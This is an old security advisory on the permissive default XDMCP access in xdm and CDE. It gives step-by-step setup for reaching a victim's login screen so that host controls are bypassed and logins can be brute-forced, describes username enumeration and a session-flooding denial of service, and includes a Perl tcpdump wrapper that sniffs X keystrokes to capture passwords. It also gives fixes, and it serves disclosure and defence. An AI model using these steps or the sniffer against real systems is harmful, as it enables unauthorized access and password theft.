COMMAND
xdm and CDE
SYSTEMS AFFECTED
Most systems
PROBLEM
Eric Augustus posted following. Most implementations of xdm and
CDE allow any host XDMCP connection access by default. This, in of
itself, is usually not a problem since a valid username and
password is still required for login. However, for hosts
configured to use TCP wrappers or Secure Shell with host access
control (hosts.{allow,deny}), or have disabled remote login access
altogether, the default xdm and CDE configuration allows access
that bypasses these controls. Using a host configured as an X
terminal (see details below), an XDMCP connection can be made to
get a login window. The attacking host can then launch a brute
force attempt to login. Most operating systems do not log the
failed attempts. Also, xdm and CDE ignore which device root is
allowed to login, so root can login remotely where root would
normally be restricted to console login only.
Verifying valid usernames can be done on hosts running CDE for
those users NOT using the default CDE desktop, like OpenWindows.
The CDE login window displays a pixmap of the last desktop the
user used. Trying different usernames and seeing if the desktop
pixmap changes indicates the username is valid.
Exploit (credit goes to Simon Greaves for his tips on how to setup
your host as an X terminal) follows. Setup your host as an X
terminal to connect to another host via XDMCP by doing the
following.
For most xdm and CDE installations:
1. Remove, or comment, the local display line in the Xservers
file. For SunOS and Solaris, it's located in
/usr/openwin/lib/xdm; for RedHat Linux (and probably others
using XFree86), it's in /etc/X11/xdm; for CDE, copy
/usr/dt/config/Xservers to /etc/dt/config/Xservers and
modify; for other systems look in /usr/lib/X11/xdm or
/usr/X11/lib/xdm.
2. Configure chooser entries in the Xaccess file to include
the victim host. (For CDE, copy /usr/dt/config/Xaccess to
/etc/dt/config/Xaccess before modifying.)
%hostlist victim1 victim2
* CHOOSER %hostlist #
3. Start xdm (or CDE) and the X server. Note: Kill the
current X server if it is running.
$> cd /usr/openwin/lib/xdm
$> xdm -config xdm-config
$> X -indirect victim1
For CDE (on Solaris 2.x):
$> /etc/rc2.d/S99dtlogin start
$> X -indirect victim1
If the connection is successful, you should see a popup chooser
window with a list of hostnames that allow connections. Selecting
one of the hostnames gives the remote host's login screen. Again,
login still requires a valid username and password for access.
That was 26 Nov 1997. However, this warning seemed to have little
effect as (at least) Digital Unix 4.0E, SuSE Linux 6.1 and Red
Hat Linux 6.0 are still (1.5 years later) shipped with this
default Xaccess file. It is somehow ironic that e.g. SuSE now
uses tcpwrappers by default on most TCP services in it's
distribution and describes the use of tcpwrappers in the manual in
a special chapter about security, but fails to close (or even
mention) that way to circumvent login restrictions.
If you think that using the cryptographically secured remote
management channels with access limited to authorized hosts on
your AltaVista Firewall under Digital Unix is the only way of
doing remote administration of the firewall, then you should take
a close look at your Xaccess file.
Following was addwd by Dave Plonka. See attached "proof of
concept" script that he used to demonstrate this to admins who
were under the impression that X-based logins were somehow secure
from login/password sniffing. It's a quick hack but worked with
an XFree86 server logging in via Solaris 2.6 dtlogin. YMMV.
(I.e. please don't tell me that it doesn't work - it was written
for one-time use... the X KeyCodes in the script can be modified
for your target X server.) The script arguments are just passed
allong to tcpdump, so usage is something like:
$ xtcptrace src xterminal and dst loginhost
Secondly, for CDE environments such as Solaris, which use an
xdm-derived model, here's a bit of detail about how folks can
restrict X login access:
1) If "/etc/dt/config/Xaccess" doesn't exist, copy it from
"/usr/dt/config". Comment-out this line (as show here) of
"/etc/dt/config/Xacccess":
#* CHOOSER BROADCAST #any indirect host can get a chooser
Then you can add specific X servers by hostname or IP address
at the end of the "Xaccess" file.
2) send SIGHUP to the *parent* dtlogin daemon process.
For further details see the section labeled "The Xaccess File" in
the dtlogin(1) man page. Code follows:
#! /usr/local/bin/perl
# xtcptrace - a tcpdump "wrapper" to decode X KeyCodes
# Dave Plonka <plonka@doit.wisc.edu>, Aug 27 1998
$tcpdump='/path/to/tcpdump';
if (! -x ${tcpdump}) {
print STDERR "You don't seem to have execute permission on \"${tcpdump}\".\n";
exit 1
}
# X KeyCodes... These can be determined using xkeycaps(1), for example.
# I assume these are well documented somewhere.
# Remember we're watching key presses here, not the resulting X KeySym or
# ASCII character. So a '[SHIFT]' preceeding an 'A' is probably a capital
# letter A, etc.
%code = (
0x0A => '1', 0x0B => '2', 0x0C => '3', 0x0D => '4',
0x0E => '5', 0x0F => '6', 0x10 => '7', 0x11 => '8',
0x12 => '9', 0x13 => '0', 0x26 => 'A', 0x38 => 'B',
0x36 => 'C', 0x28 => 'D', 0x1A => 'E', 0x29 => 'F',
0x2A => 'G', 0x2B => 'H', 0x1F => 'I', 0x2C => 'J',
0x2D => 'K', 0x2E => 'L', 0x3A => 'M', 0x39 => 'N',
0x20 => 'O', 0x21 => 'P', 0x18 => 'Q', 0x1B => 'R',
0x27 => 'S', 0x1C => 'T', 0x1E => 'U', 0x37 => 'V',
0x19 => 'W', 0x35 => 'X', 0x1D => 'Y', 0x34 => 'Z',
0x40 => '[ALT]', 0x41 => ' ', 0x42 => '[CAPS LOCK]', 0x32 => '[SHIFT]',
0x24 => '[RETURN]', 0x16 => '[BACK SPACE]',
);
open(STDIN, "${tcpdump} -l -x -s 65535 -v @ARGV|") || die;
select(STDIN); $| = 1;
select(STDOUT); $| = 1;
while (<STDIN>) {
# This is a total kludge below - we only look at 32 byte packets since
# that is the size of an xEvent. However, we may miss some events because
# they can be grouped together in one packet. So really, any multiple of
# 32 (e.g. 64, 96) could also contain xEvents.
if (m/^\d\d:\d\d:\d\d\.\d+\s+.*\.6000\s+>\s+.*\(32\)/) {
scalar(<STDIN>); # discard
scalar(<STDIN>); # discard
$_ = scalar(<STDIN>);
# Another kludge - the magic numbers in the line below (0x5018, 0x7d78,
# etc.) were discovered by watching xEvents with tcpdump(1). I don't
# know that they'll have those values from all X servers or what.
# Probably, the xEvent typedef struct, as defined in <X11/Xproto.h>,
# should be grokked to implement this correctly.
# The Right Thing(tm) would probably be to pack the packet content as
# a 32-byte scalar, then unpack it into it's appropriate structure
# members.
if (m/5018\s+7d78\s+[0-9a-f][0-9a-f][0-9a-f][0-9a-f]\s+0000\s+03([0-9a-f][0-9a-f])/) {
if ($c = $code{hex($1)}) {
print "$c\n"
} else {
print "KeyCode 0x$1\n"
}
}
}
}
exit
SOLUTION
Solution: Filter port 177/udp at the router, or edit Xaccess and
precede hostname or pattern entries with '!' to exclude them, or
include only those hosts allowed to connect to the display.
Default Xaccess file:
[snip]
# In all cases, xdm uses the first entry which matches the terminal;
# for IndirectQuery messages only entries with right hand sides can
# match, for Direct and Broadcast Query messages, only entries without
# right hand sides can match.
#
* #any host can get a login window
#
# The nicest way to run the chooser is to just ask it to broadcast
# requests to the network - that way new hosts show up automatically.
# Sometimes, however, the chooser can't figure out how to broadcast,
# so this may not work in all environments.
#
* CHOOSER BROADCAST #any indirect host can get a
[snip]
Change to:
[snip]
# In all cases, xdm uses the first entry which matches the terminal;
# for IndirectQuery messages only entries with right hand sides can
# match, for Direct and Broadcast Query messages, only entries without
# right hand sides can match.
#
!* #any host can get a login window
#
# The nicest way to run the chooser is to just ask it to broadcast
# requests to the network - that way new hosts show up automatically.
# Sometimes, however, the chooser can't figure out how to broadcast,
# so this may not work in all environments.
#
!* CHOOSER BROADCAST #any indirect host can get a
[snip]
Digital Unix 4.0x with C2 security enabled, does not have this
problem. You get a "Cannot obtain database information on this
terminal" message box when trying to login from an X server which
is not authorized in the /etc/auth/system/ttys database. Even
more fun, just open 1024 xdcmp sessions with a remote xdm on a low
spec box. Xdm doesnt like this. Gdm at least does damage
limitation in this case. On the Red Hat side, for a standard Red
Hat 6 using gdm not xdm, edit /etc/X11/gdm.conf and set it to
[xdcmp]
Enable=0
and life is happier. Regular xdm has an equivalent switch,
though it's not documented anywhere but in the source code. Add
the following resource to your xdm-config file (usually found in
the X11R6 tree in lib/X11/xdm):
! SECURITY: do not listen for XDMCP or Chooser requests
DisplayManager.requestPort: 0
Or, start xdm with the flag '-udpPort 0'.
To be fair, it should be noted that the CDE dtlogin that ships
with Solaris (at least >= 2.6) does _not_ suffer from this
vulnerability. While it is true that by default anyone is
allowed to log in remotely, for remote root login dtlogin checks
/etc/default/login, just like /bin/login does.